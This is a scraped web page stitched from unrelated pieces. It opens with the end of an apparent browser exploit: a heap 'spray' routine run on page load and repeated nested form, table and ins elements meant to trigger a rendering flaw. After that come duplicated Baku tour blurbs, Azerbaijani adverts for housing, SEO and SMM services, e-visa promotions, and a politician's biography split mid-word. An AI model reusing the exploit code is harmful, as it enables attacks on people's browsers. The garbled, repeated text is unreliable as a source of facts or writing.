numsploits = 0;
window.setTimeout(spray, 1000);
}
</script>
<body onload=run()>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
<form><table><th><ins>aaaaaaaaaa aaaaaaaaaa</ins></th></table></form>
</body>
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Discover the fabulous highlights of Baku on our Baku city tour
. Starting in Baku, you will explore the awe-inspiring architectural and cultural legacy of this capital. Explore Baku Old City, the Shirvanshahs’ Palace and the Maiden Tower. During the Full Day Baku Tour, you will visit different parts of the city belonging various periods of the history of Baku starting from middle ages to the modern era.
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You will visit the area of the Absheron Peninsula and amazing historical and natural sights. Absheron Peninsula tour
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Absheron tour
covers three hiExplore Gobustan museum, ancient petroglyphs and mud volcanoes in 4-hour tour with Gobustan tour
Gobustan National Park, included in the UNESCO World Heritage Sites list, is one of Azerbaijan’s most popular sights attracting thousands of tourists annually.storical places. You will get an opportunity to become acquainted with old household and ethnographic traditions at Gala open-air museum. During the tour you will see Quadranqular Tower, one of the ancient Absheron towers located in Mardakan village. Moreover, you will also learn legends about Burning Mountain and the streams located nearby.
A favorite resting place of the Baku residents and capital guests is Boulevard (seafront). From the boulevard you can also make a real sea-voyage by pleasure-boat along the Baku Bay. During such Baku Boat tour
a guide will put up the tourists with interesting facts and legends from the Caspian Sea history.
Start exploring Baku with Icherisheher tour
. Icheri Sheher is the heart of the city, has a history of thousands of years and is located in the historic centre of ancient Baku. Icherisheher is the pearl of Azerbaijani architecture and culture and many significant restoration works have been undertaken within recent years
Əgər sizdə elan qoymaq istəsəz Ev elanlari veb saytından istifadə edə bilərsiniz
Her bir aile gec tez ozune ev almaq və ya ev alqi satqisi ve ya evini satmaq isteyir.
Bizim saytımızda həmçinin çoxlu kiraye ucuz evler var.
An Azerbaijan eVisa
is an official document which provides authorization to travel to and from Azerbaijan.Citizens from over 80 countries can apply for Azerbaijan e-visa.
There are more than 80 Countries eligible for azerbaijan visa
and they can apply for an e-Visa through the ASAN Visa system and can get the Azerbaijan e-Visa.
Getting an azerbaijan visa for uae resident
is easier . If you are a UAE resident, you can apply for a visa from the comfort of your home and get your visa.UAE residents will now be able to obtain a tourist visa on arrival in Azerbaijan.
Applicants from the UK need to follow a few basic steps to get a visa to Azerbaijan.It is so simply get azerbaijan visa for united kingdom citizens
Bizim şirkətdə adətən aşağıdakı Seo xidmeti ile bagli verilen suallar
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Eger sizin vebsaytiniz yenidirsen o zaman Kontekst reklam sizin uchun en ideal sechimdir. Kontekst reklam ile sizin satishlariniz suretlenecek
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Axtarıs sistemlerində optimizasiya (SEO – Search Engine Optimization) saytınızın reytinqinin Google, Yandex, Bing kimi axtarıs sistemlerinde artırılması fealiyyətidir. SEO xidməti
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Sosial media marketinq günümüzün ve geleceyin en effektiv reklam modellerindən biridir. Bu sebebdendir ki, SMM xidməti
dünyanın tanınmıs brendleri terefinden xususi diqqet merkezinde saxlanılır.
Absheron tour
covers three hiExplore Gobustan museum, ancient petroglyphs and mud volcanoes in 4-hour tour with Gobustan tour
Gobustan National Park, included in the UNESCO World Heritage Sites list, is one of Azerbaijan’s most popular sights attracting thousands of tourists annually.storical places. You will get an opportunity to become acquainted with old household and ethnographic traditions at Gala open-air museum. During the tour you will see Quadranqular Tower, one of the ancient Absheron towers located in Mardakan village. Moreover, you will also learn legends about Burning Mountain and the streams located nearby.
A favorite resting place of the Baku residents and capital guests is Boulevard (seafront). From the boulevard you can also make a real sea-voyage by pleasure-boat along the Baku Bay. During such Baku Boat tour
a guide will put up the tourists with interesting facts and legends from the Caspian Sea history.
Start exploring Baku with Icherisheher tour
. Icheri Sheher is the heart of the city, has a history of thousands of years and is located in the historic centre of ancient Baku. Icherisheher is the pearl of Azerbaijani architecture and culture and many significant restoration works have been undertaken within recent years
Discover the fabulous highlights of Baku on our Baku city tour
. Starting in Baku, you will explore the awe-inspiring architectural and cultural legacy of this capital. Explore Baku Old City, the Shirvanshahs’ Palace and the Maiden Tower. During the Full Day Baku Tour, you will visit different parts of the city belonging various periods of the history of Baku starting from middle ages to the modern era.
Gobustan National Park is one of Azerbaijan’s most popular sights that attracts thousands of tourists annually. Explore Gobustan, ancient petroglyphs and mud volcanoes in a 4-hour tour with a Gobustan Tour . It is just amazing places you hae to visit
.
You will visit the area of the Absheron Peninsula and amazing historical and natural sights. Absheron Peninsula tour
covers three historical places. You will get an opportunity to become acquainted with old household and ethnographic traditions at Gala open-air museum.
Read More
Read More
Read More
Read More
Read More
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Singh TomNarendra Singh Tomar (born 12 June 1957) is an Indian politician and a member of the 17th Lok Sabha. He is the Minister of Agriculture & Farmers Welfare and Minister of Rural Development in the Second Modi ministry. Previously he was the Minister of Mines and Minister of Parliamentary Affair in the Government of India. He is a leader of Bharatiya Janata Party and was a member of Sixteenth Lok Sabha from 2014 to 2019[1] from Gwalior (Lok Sabha constituency). In 2019, he changed his constituency and was re-elected to Lok Sabha from Morena.
ar (born 12 June 1957) is an Indian politician and a member of the 17th Lok Sabha. He is the Minister of Agriculture & Farmers Welfare and Minister of Rural Development in the Second Modi ministry. Previously he was the Minister of Mines and Minister of Parliamentary Affair in the Government of India. He is a leader of Bharatiya Janata Party and was a member of Sixteenth Lok Sabha from 2014 to 2019[1] from Gwalior (Lok Sabha constituency). In 2019, he changed his constituency and was re-elected to Lok Sabha from Morena.
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